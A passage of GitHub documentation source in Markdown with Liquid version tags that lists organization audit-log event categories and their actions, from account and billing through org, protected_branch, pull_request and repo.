log. + +{% ifversion fpt or ghec %} +### `account` category actions + +| Action | Description +|------------------|------------------- +| `billing_plan_change` | Triggered when an organization's [billing cycle](/articles/changing-the-duration-of-your-billing-cycle) changes. +| `plan_change` | Triggered when an organization's [subscription](/articles/about-billing-for-github-accounts) changes. +| `pending_plan_change` | Triggered when an organization owner or billing manager [cancels or downgrades a paid subscription](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process/). +| `pending_subscription_change` | Triggered when a [{% data variables.product.prodname_marketplace %} free trial starts or expires](/articles/about-billing-for-github-marketplace/). +{% endif %} + +{% ifversion fpt or ghec %} +### `advisory_credit` category actions + +| Action | Description +|------------------|------------------- +| `accept` | Triggered when someone accepts credit for a security advisory. For more information, see "[Editing a security advisory](/github/managing-security-vulnerabilities/editing-a-security-advisory)." +| `create` | Triggered when the administrator of a security advisory adds someone to the credit section. +| `decline` | Triggered when someone declines credit for a security advisory. +| `destroy` | Triggered when the administrator of a security advisory removes someone from the credit section. +{% endif %} + +{% ifversion pat-v2 %} + +### `auto_approve_personal_access_token_requests` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when the organization must approve {% data variables.product.pat_v2 %}s before the tokens can access organization resources. For more information, see "[Setting a {% data variables.product.pat_generic %} policy for your organization](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization)." +| `enable` | Triggered when {% data variables.product.pat_v2 %}s can access organization resources without prior approval. For more information, see "[Setting a {% data variables.product.pat_generic %} policy for your organization](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization)." + +{% endif %} + +{% ifversion fpt or ghec %} +### `billing` category actions + +| Action | Description +|------------------|------------------- +| `change_billing_type` | Triggered when your organization [changes how it pays for {% data variables.product.prodname_dotcom %}](/articles/adding-or-editing-a-payment-method). +| `change_email` | Triggered when your organization's [billing email address](/articles/setting-your-billing-email) changes. +{% endif %} + +### `business` category actions + +| Action | Description +|------------------|-------------------{% ifversion fpt or ghec %} +| `set_actions_fork_pr_approvals_policy` | Triggered when the setting for requiring approvals for workflows from public forks is changed for an enterprise. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-your-enterprise)."{% endif %} +| `set_actions_retention_limit` | Triggered when the retention period for {% data variables.product.prodname_actions %} artifacts and logs is changed for an enterprise. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)."{% ifversion fpt or ghes or ghec %} +| `set_fork_pr_workflows_policy` | Triggered when the policy for workflows on private repository forks is changed. For more information, see "{% ifversion fpt or ghec%}[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-private-repositories){% else ifversion ghes > 2.22 %}[Enabling workflows for private repository forks](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enforcing-github-actions-policies-for-your-enterprise#enabling-workflows-for-private-repository-forks){% endif %}."{% endif %} + +{% ifversion fpt or ghec %} +### `codespaces` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when a user [creates a codespace](/github/developing-online-with-codespaces/creating-a-codespace). +| `resume` | Triggered when a user resumes a suspended codespace. +| `delete` | Triggered when a user [deletes a codespace](/github/developing-online-with-codespaces/deleting-a-codespace). +| `create_an_org_secret` | Triggered when a user creates an organization-level [secret for {% data variables.product.prodname_github_codespaces %}](/github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces#about-encrypted-secrets-for-codespaces) +| `update_an_org_secret` | Triggered when a user updates an organization-level [secret for {% data variables.product.prodname_github_codespaces %}](/github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces#about-encrypted-secrets-for-codespaces). +| `remove_an_org_secret` | Triggered when a user removes an organization-level [secret for {% data variables.product.prodname_github_codespaces %}](/github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces#about-encrypted-secrets-for-codespaces). +| `manage_access_and_security` | Triggered when a user updates [which repositories a codespace can access](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces). +{% endif %} + +### `dependabot_alerts` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when an organization owner disables {% data variables.product.prodname_dependabot_alerts %} for all existing {% ifversion fpt or ghec %}private {% endif %}repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +| `enable` | Triggered when an organization owner enables {% data variables.product.prodname_dependabot_alerts %} for all existing {% ifversion fpt or ghec %}private {% endif %}repositories. + +### `dependabot_alerts_new_repos` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when an organization owner disables {% data variables.product.prodname_dependabot_alerts %} for all new {% ifversion fpt or ghec %}private {% endif %}repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +| `enable` | Triggered when an organization owner enables {% data variables.product.prodname_dependabot_alerts %} for all new {% ifversion fpt or ghec %}private {% endif %}repositories. + +{% ifversion fpt or ghec or ghes %} +### `dependabot_security_updates` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when an organization owner disables {% data variables.product.prodname_dependabot_security_updates %} for all existing repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +| `enable` | Triggered when an organization owner enables {% data variables.product.prodname_dependabot_security_updates %} for all existing repositories. + +### `dependabot_security_updates_new_repos` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when an organization owner disables {% data variables.product.prodname_dependabot_security_updates %} for all new repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +| `enable` | Triggered when an organization owner enables {% data variables.product.prodname_dependabot_security_updates %} for all new repositories. +{% endif %} + +{% ifversion fpt or ghec %} +### `dependency_graph` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when an organization owner disables the dependency graph for all existing repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +| `enable` | Triggered when an organization owner enables the dependency graph for all existing repositories. + +### `dependency_graph_new_repos` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when an organization owner disables the dependency graph for all new repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +| `enable` | Triggered when an organization owner enables the dependency graph for all new repositories. +{% endif %} + +### `discussion_post` category actions + +| Action | Description +|------------------|------------------- +| `update` | Triggered when [a team discussion post is edited](/articles/managing-disruptive-comments/#editing-a-comment). +| `destroy` | Triggered when [a team discussion post is deleted](/articles/managing-disruptive-comments/#deleting-a-comment). + +### `discussion_post_reply` category actions + +| Action | Description +|------------------|------------------- +| `update` | Triggered when [a reply to a team discussion post is edited](/articles/managing-disruptive-comments/#editing-a-comment). +| `destroy` | Triggered when [a reply to a team discussion post is deleted](/articles/managing-disruptive-comments/#deleting-a-comment). + +{% ifversion fpt or ghes or ghec %} +### `enterprise` category actions + +{% data reusables.actions.actions-audit-events-for-enterprise %} + +{% endif %} + +{% ifversion fpt or ghec %} +### `environment` category actions + +| Action | Description +|------------------|------------------- +| `create_actions_secret` | Triggered when a secret is created in an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." +| `delete` | Triggered when an environment is deleted. For more information, see ["Deleting an environment](/actions/reference/environments#deleting-an-environment)." +| `remove_actions_secret` | Triggered when a secret is removed from an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." +| `update_actions_secret` | Triggered when a secret in an environment is updated. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." +{% endif %} + +{% ifversion ghae %} +### `external_group` category actions + +{% data reusables.saml.external-group-audit-events %} + +{% endif %} + +{% ifversion ghae %} +### `external_identity` category actions + +{% data reusables.saml.external-identity-audit-events %} + +{% endif %} + +{% ifversion fpt or ghec %} +### `git` category actions + +{% note %} + +**Note:** To access Git events in the audit log, you must use the audit log REST API. The audit log REST API is available for users of {% data variables.product.prodname_ghe_cloud %} only. For more information, see "[Organizations](/rest/reference/orgs#get-the-audit-log-for-an-organization)." + +{% endnote %} + +{% data reusables.audit_log.audit-log-git-events-retention %} + +| Action | Description +|---------|---------------------------- +| `clone` | Triggered when a repository is cloned. +| `fetch` | Triggered when changes are fetched from a repository. +| `push` | Triggered when changes are pushed to a repository. + +{% endif %} + +### `hook` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when [a new hook was added](/articles/creating-webhooks) to a repository owned by your organization. +| `config_changed` | Triggered when an existing hook has its configuration altered. +| `destroy` | Triggered when an existing hook was removed from a repository. +| `events_changed` | Triggered when the events on a hook have been altered. + +### `integration_installation` category actions + +| Action | Description +|--------|------------- +| `contact_email_changed` | A contact email for an integration was changed. +| `create` | An integration was installed. +| `destroy` | An integration was uninstalled. +| `repositories_added` | Repositories were added to an integration. +| `repositories_removed` | Repositories were removed from an integration. +{%- ifversion fpt or ghec %} +| `suspend` | An integration was suspended. +| `unsuspend` | An integration was unsuspended. +{%- endif %} +| `version_updated` | Permissions for an integration were updated. + +### `integration_installation_request` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when an organization member requests that an organization owner install an integration for use in the organization. +| `close` | Triggered when a request to install an integration for use in an organization is either approved or denied by an organization owner, or canceled by the organization member who opened the request. + +{% ifversion ghec or ghae %} +### `ip_allow_list` category actions + +| Action | Description +|------------------|------------------- +| `enable` | Triggered when an IP allow list was enabled for an organization. +| `disable` | Triggered when an IP allow list was disabled for an organization. +| `enable_for_installed_apps` | Triggered when an IP allow list was enabled for installed {% data variables.product.prodname_github_apps %}. +| `disable_for_installed_apps` | Triggered when an IP allow list was disabled for installed {% data variables.product.prodname_github_apps %}. + +### `ip_allow_list_entry` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when an IP address was added to an IP allow list. +| `update` | Triggered when an IP address or its description was changed. +| `destroy` | Triggered when an IP address was deleted from an IP allow list. +{% endif %} + +### `issue` category actions + +| Action | Description +|------------------|------------------- +| `destroy` | Triggered when an organization owner or someone with admin permissions in a repository deletes an issue from an organization-owned repository. + +{% ifversion fpt or ghec %} + +### `marketplace_agreement_signature` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when you sign the {% data variables.product.prodname_marketplace %} Developer Agreement. + +### `marketplace_listing` category actions + +| Action | Description +|------------------|------------------- +| `approve` | Triggered when your listing is approved for inclusion in {% data variables.product.prodname_marketplace %}. +| `create` | Triggered when you create a listing for your app in {% data variables.product.prodname_marketplace %}. +| `delist` | Triggered when your listing is removed from {% data variables.product.prodname_marketplace %}. +| `redraft` | Triggered when your listing is sent back to draft state. +| `reject` | Triggered when your listing is not accepted for inclusion in {% data variables.product.prodname_marketplace %}. + +{% endif %} + +{% ifversion fpt or ghes or ghec %} + +### `members_can_create_pages` category actions + +For more information, see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)." + +| Action | Description | +| :- | :- | +| `enable` | Triggered when an organization owner enables publication of {% data variables.product.prodname_pages %} sites for repositories in the organization. | +| `disable` | Triggered when an organization owner disables publication of {% data variables.product.prodname_pages %} sites for repositories in the organization. | + +{% endif %} + +### `oauth_application` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when a new {% data variables.product.prodname_oauth_app %} is created. +| `destroy` | Triggered when an existing {% data variables.product.prodname_oauth_app %} is deleted. +| `reset_secret` | Triggered when an {% data variables.product.prodname_oauth_app %}'s client secret is reset. +| `revoke_tokens` | Triggered when an {% data variables.product.prodname_oauth_app %}'s user tokens are revoked. +| `transfer` | Triggered when an existing {% data variables.product.prodname_oauth_app %} is transferred to a new organization. + +### `org` category actions + +| Action | Description +|------------------|------------------- +| `add_member` | Triggered when a user joins an organization. +| `advanced_security_policy_selected_member_disabled` | Triggered when an enterprise owner prevents {% data variables.product.prodname_GH_advanced_security %} features from being enabled for repositories owned by the organization. {% data reusables.advanced-security.more-information-about-enforcement-policy %} +| `advanced_security_policy_selected_member_enabled` | Triggered when an enterprise owner allows {% data variables.product.prodname_GH_advanced_security %} features to be enabled for repositories owned by the organization. {% data reusables.advanced-security.more-information-about-enforcement-policy %}{% ifversion fpt or ghec %} +| `audit_log_export` | Triggered when an organization admin [creates an export of the organization audit log](#exporting-the-audit-log). If the export included a query, the log will list the query used and the number of audit log entries matching that query. +| `block_user` | Triggered when an organization owner [blocks a user from accessing the organization's repositories](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization). +| `cancel_invitation` | Triggered when an organization invitation has been revoked. {% endif %}{% ifversion fpt or ghes or ghec %} +| `create_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is created for an organization. For more information, see "[Creating encrypted secrets for an organization](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)."{% endif %} {% ifversion fpt or ghec %} +| `disable_oauth_app_restrictions` | Triggered when an owner [disables {% data variables.product.prodname_oauth_app %} access restrictions](/articles/disabling-oauth-app-access-restrictions-for-your-organization) for your organization.{% ifversion ghec %} +| `disable_saml` | Triggered when an organization admin disables SAML single sign-on for an organization.{% endif %}{% endif %} +| `disable_member_team_creation_permission` | Triggered when an organization owner limits team creation to owners. For more information, see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)." |{% ifversion not ghae %} +| `disable_two_factor_requirement` | Triggered when an owner disables a two-factor authentication requirement for all members{% ifversion fpt or ghec %}, billing managers,{% endif %} and outside collaborators in an organization.{% endif %}{% ifversion fpt or ghec %} +| `enable_oauth_app_restrictions` | Triggered when an owner [enables {% data variables.product.prodname_oauth_app %} access restrictions](/articles/enabling-oauth-app-access-restrictions-for-your-organization) for your organization.{% ifversion ghec %} +| `enable_saml` | Triggered when an organization admin [enables SAML single sign-on](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization) for an organization.{% endif %}{% endif %} +| `enable_member_team_creation_permission` | Triggered when an organization owner allows members to create teams. For more information, see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)." |{% ifversion not ghae %} +| `enable_two_factor_requirement` | Triggered when an owner requires two-factor authentication for all members{% ifversion fpt or ghec %}, billing managers,{% endif %} and outside collaborators in an organization.{% endif %}{% ifversion fpt or ghec %} +| `invite_member` | Triggered when [a new user was invited to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization). +| `oauth_app_access_approved` | Triggered when an owner [grants organization access to an {% data variables.product.prodname_oauth_app %}](/articles/approving-oauth-apps-for-your-organization/). +| `oauth_app_access_denied` | Triggered when an owner [disables a previously approved {% data variables.product.prodname_oauth_app %}'s access](/articles/denying-access-to-a-previously-approved-oauth-app-for-your-organization) to your organization. +| `oauth_app_access_requested` | Triggered when an organization member requests that an owner grant an {% data variables.product.prodname_oauth_app %} access to your organization.{% endif %} +{% ifversion ghec %} +| `org.transfer` | Triggered when an organization is transferred between enterprise accounts. For more information, see "[Transferring an organization between enterprise accounts](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#transferring-an-organization-between-enterprise-accounts)."{% endif %} +| `register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)." +| `remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed.{% ifversion fpt or ghec %} +| `remove_billing_manager` | Triggered when an [owner removes a billing manager from an organization](/articles/removing-a-billing-manager-from-your-organization/) or when [two-factor authentication is required in an organization](/articles/requiring-two-factor-authentication-in-your-organization) and a billing manager doesn't use 2FA or disables 2FA. |{% endif %} +| `remove_member` | Triggered when an [owner removes a member from an organization](/articles/removing-a-member-from-your-organization/){% ifversion not ghae %} or when [two-factor authentication is required in an organization](/articles/requiring-two-factor-authentication-in-your-organization) and an organization member doesn't use 2FA or disables 2FA{% endif %}. Also triggered when an [organization member removes themselves](/articles/removing-yourself-from-an-organization/) from an organization.| +| `remove_outside_collaborator` | Triggered when an owner removes an outside collaborator from an organization{% ifversion not ghae %} or when [two-factor authentication is required in an organization](/articles/requiring-two-factor-authentication-in-your-organization) and an outside collaborator does not use 2FA or disables 2FA{% endif %}. | +| `remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization)." {% ifversion ghec %} +| `revoke_external_identity` | Triggered when an organization owner revokes a member's linked identity. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)." +| `revoke_sso_session` | Triggered when an organization owner revokes a member's SAML session. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)." {% endif %} +| `runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)." +| `runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)." +| `runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." +| `runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see [Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group). +| `runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)." +| `runner_group_runners_updated`| Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)." +{%- ifversion code-security-audit-log-events %} +| `secret_scanning_push_protection_custom_message_disabled` | Triggered when an organization owner or admin disables the custom message triggered by an attempted push to a push-protected repository. For more information, see "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#enabling-secret-scanning-as-a-push-protection-for-an-organization)." +| `secret_scanning_push_protection_custom_message_enabled` | Triggered when an organization owner or admin enables the custom message triggered by an attempted push to a push-protected repository. For more information, see "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#enabling-secret-scanning-as-a-push-protection-for-an-organization)." +| `secret_scanning_push_protection_custom_message_updated` | Triggered when an organization owner or admin updates the custom message triggered by an attempted push to a push-protected repository. For more information, see "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#enabling-secret-scanning-as-a-push-protection-for-an-organization)." +{%- endif %} +{%- ifversion secret-scanning-audit-log-custom-patterns %} +| `secret_scanning_push_protection_disable ` | Triggered when an organization owner or person with admin access to the organization disables push protection for secret scanning. For more information, see "[Protecting pushes with secret scanning](/enterprise-cloud@latest/code-security/secret-scanning/protecting-pushes-with-secret-scanning)." +| `secret_scanning_push_protection_enable ` | Triggered when an organization owner or person with admin access to the organization enables push protection for {% data variables.product.prodname_secret_scanning %}.{%- endif %} +| `self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% ifversion fpt or ghes or ghec %} +| `self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."{% endif %}{% ifversion fpt or ghec %} +| `set_actions_fork_pr_approvals_policy` | Triggered when the setting for requiring approvals for workflows from public forks is changed for an organization. For more information, see "[Requiring approval for workflows from public forks](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#requiring-approval-for-workflows-from-public-forks)."{% endif %} +| `set_actions_retention_limit` | Triggered when the retention period for {% data variables.product.prodname_actions %} artifacts and logs is changed. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)."{% ifversion fpt or ghes or ghec %} +| `set_fork_pr_workflows_policy` | Triggered when the policy for workflows on private repository forks is changed. For more information, see "[Enabling workflows for private repository forks](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#enabling-workflows-for-private-repository-forks)."{% endif %}{% ifversion fpt or ghec %} +| `unblock_user` | Triggered when an organization owner [unblocks a user from an organization](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization).{% endif %}{% ifversion fpt or ghes or ghec %} +| `update_actions_secret` |Triggered when a {% data variables.product.prodname_actions %} secret is updated.{% endif %} +| `update_new_repository_default_branch_setting` | Triggered when an owner changes the name of the default branch for new repositories in the organization. For more information, see "[Managing the default branch name for repositories in your organization](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)." +| `update_default_repository_permission` | Triggered when an owner changes the default repository permission level for organization members. +| `update_member` | Triggered when an owner changes a person's role from owner to member or member to owner. +| `update_member_repository_creation_permission` | Triggered when an owner changes the create repository permission for organization members.{% ifversion fpt or ghec %} +| `update_saml_provider_settings` | Triggered when an organization's SAML provider settings are updated. +| `update_terms_of_service` | Triggered when an organization changes between the Standard Terms of Service and the Corporate Terms of Service. For more information, see "[Upgrading to the Corporate Terms of Service](/articles/upgrading-to-the-corporate-terms-of-service)."{% endif %} + +{% ifversion ghec %} +### `org_credential_authorization` category actions + +| Action | Description +|------------------|------------------- +| `grant` | Triggered when a member [authorizes credentials for use with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on). +| `deauthorized` | Triggered when a member [deauthorizes credentials for use with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on). +| `revoke` | Triggered when an owner [revokes authorized credentials](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization). + +{% endif %}{% ifversion secret-scanning-audit-log-custom-patterns %} + +### `org_secret_scanning_custom_pattern` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when a custom pattern is published for secret scanning in an organization. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#defining-a-custom-pattern-for-an-organization)." +| `update` | Triggered when changes to a custom pattern are saved for secret scanning in an organization. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#editing-a-custom-pattern)." +| `delete` | Triggered when a custom pattern is removed from secret scanning in an organization. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#removing-a-custom-pattern)." + +{% endif %} +### `organization_default_label` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when a default label is created. +| `update` | Triggered when a default label is edited. +| `destroy` | Triggered when a default label is deleted. + +### `packages` category actions + +| Action | Description | +|--------|-------------| +| `package_version_published` | Triggered when a package version is published. | +| `package_version_deleted` | Triggered when a specific package version is deleted. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)." +| `package_deleted` | Triggered when an entire package is deleted. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)." +| `package_version_restored` | Triggered when a specific package version is deleted. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)." +| `package_restored` | Triggered when an entire package is restored. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)." + +{% ifversion fpt or ghec %} + +### `payment_method` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when a new payment method is added, such as a new credit card or PayPal account. +| `update` | Triggered when an existing payment method is updated. + +{% endif %} + +{% ifversion pat-v2 %} + +### `personal_access_token` category actions + +| Action | Description +|------------------|------------------- +| `access_granted` | Triggered when a {% data variables.product.pat_v2 %} is granted access to organization resources. For more information, see "[Managing requests for {% data variables.product.pat_generic %} in your organization](/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization)." +| `access_revoked` | Triggered when access to organization resources by a {% data variables.product.pat_v2 %} is revoked. The token can still read public organization resources. For more information, see "[Reviewing and revoking {% data variables.product.pat_generic %} in your organization](/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization)." +| `request_cancelled` | Triggered when a member of the organization cancels a request for their {% data variables.product.pat_v2 %} to access organization resources. +| `request_created` | Triggered when a member of the organization creates a {% data variables.product.pat_v2 %} to access organization resources and the organization requires approval before a {% data variables.product.pat_v2 %} can access organization resources. For more information, see "[Managing requests for {% data variables.product.pat_generic %} in your organization](/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization)." +| `request_denied` | Triggered when a request for a {% data variables.product.pat_v2 %} to access organization resources is denied. For more information, see "[Managing requests for {% data variables.product.pat_generic %} in your organization](/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization)." + +{% endif %} + +### `profile_picture` category actions +| Action | Description +|------------------|------------------- +| update | Triggered when you set or update your organization's profile picture. + +### `project` category actions + +| Action | Description +|--------------------|--------------------- +| `create` | Triggered when a project board is created. +| `link` | Triggered when a repository is linked to a project board. +| `rename` | Triggered when a project board is renamed. +| `update` | Triggered when a project board is updated. +| `delete` | Triggered when a project board is deleted. +| `unlink` | Triggered when a repository is unlinked from a project board. +| `update_org_permission` | Triggered when the base-level permission for all organization members is changed or removed. | +| `update_team_permission` | Triggered when a team's project board permission level is changed or when a team is added or removed from a project board. | +| `update_user_permission` | Triggered when an organization member or outside collaborator is added to or removed from a project board or has their permission level changed.| + +### `protected_branch` category actions + +| Action | Description +|--------------------|--------------------- +| `create ` | Triggered when branch protection is enabled on a branch. +| `destroy` | Triggered when branch protection is disabled on a branch. +| `update_admin_enforced ` | Triggered when branch protection is enforced for repository administrators. +| `update_require_code_owner_review ` | Triggered when enforcement of required Code Owner review is updated on a branch. +| `dismiss_stale_reviews ` | Triggered when enforcement of dismissing stale pull requests is updated on a branch. +| `update_signature_requirement_enforcement_level ` | Triggered when enforcement of required commit signing is updated on a branch. +| `update_pull_request_reviews_enforcement_level ` | Triggered when enforcement of required pull request reviews is updated on a branch. Can be one of `0`(deactivated), `1`(non-admins), `2`(everyone). +| `update_required_status_checks_enforcement_level ` | Triggered when enforcement of required status checks is updated on a branch. +| `update_strict_required_status_checks_policy` | Triggered when the requirement for a branch to be up to date before merging is changed. +| `rejected_ref_update ` | Triggered when a branch update attempt is rejected. +| `policy_override ` | Triggered when a branch protection requirement is overridden by a repository administrator. +| `update_allow_force_pushes_enforcement_level ` | Triggered when force pushes are enabled or disabled for a protected branch. +| `update_allow_deletions_enforcement_level ` | Triggered when branch deletion is enabled or disabled for a protected branch. +| `update_linear_history_requirement_enforcement_level ` | Triggered when required linear commit history is enabled or disabled for a protected branch. + +### `pull_request` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when a pull request is created. +| `close` | Triggered when a pull request is closed without being merged. +| `reopen` | Triggered when a pull request is reopened after previously being closed. +| `merge` | Triggered when a pull request is merged. +| `indirect_merge` | Triggered when a pull request is considered merged because its commits were merged into the target branch. +| `ready_for_review` | Triggered when a pull request is marked as ready for review. +| `converted_to_draft` | Triggered when a pull request is converted to a draft. +| `create_review_request` | Triggered when a review is requested. +| `remove_review_request` | Triggered when a review request is removed. + +### `pull_request_review` category actions + +| Action | Description +|------------------|------------------- +| `submit` | Triggered when a review is submitted. +| `dismiss` | Triggered when a review is dismissed. +| `delete` | Triggered when a review is deleted. + +### `pull_request_review_comment` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when a review comment is added. +| `update` | Triggered when a review comment is changed. +| `delete` | Triggered when a review comment is deleted. + +### `repo` category actions + +| Action | Description +|------------------|------------------- +| `access` | Triggered when a user [changes the visibility](/github/administering-a-repository/setting-repository-visibility) of a repository in the organization. +| `actions_enabled` | Triggered when {% data variables.product.prodname_actions %} is enabled for a repository. Can be viewed using the UI. This event is not included when you access the audit log using the REST API. For more 